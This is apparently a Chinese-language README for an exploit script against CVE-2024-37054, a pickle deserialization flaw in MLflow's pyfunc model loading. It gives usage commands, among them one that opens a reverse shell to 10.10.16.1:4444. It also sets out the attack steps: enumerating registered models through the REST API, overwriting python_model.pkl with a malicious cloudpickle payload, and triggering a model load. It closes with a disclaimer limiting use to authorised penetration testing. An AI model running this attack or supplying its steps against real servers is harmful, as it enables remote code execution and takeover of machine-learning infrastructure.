CVE-2024-37054 — MLflow pyfunc 反序列化 RCE

严重性： 严重
受影响版本： MLflow 0.9.0 – 2.14.1
类型： 通过 Python pickle 反序列化实现任意代码执行

描述

mlflow.pyfunc.load_model() 从工件存储中反序列化 python_model.pkl 且不带任何清理。能够访问 MLflow 工件 REST API 的攻击者可以用恶意 pickle 覆盖该文件，从而在下次加载模型时执行任意操作系统命令。

要求

pip install requests cloudpickle

用法

# 枚举已注册的模型
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# 显式指定模型 + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

关键选项

工作原理

1. 发现 — 查询 /api/2.0/mlflow/registered-models/search 以找到模型及其 run_id / experiment_id
2. 投毒 — 将恶意 cloudpickle 载荷 PUT 到 /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
3. 触发 — 任何调用该模型的 mlflow.pyfunc.load_model() 的代码路径都会反序列化该 payload 并执行命令

触发步骤需要一个加载模型的应用端点。如果不知道任何端点，请使用 --no-trigger（或省略 --trigger-url），并通过任何可用方式触发加载。

免责声明

仅用于授权的渗透测试和教育目的。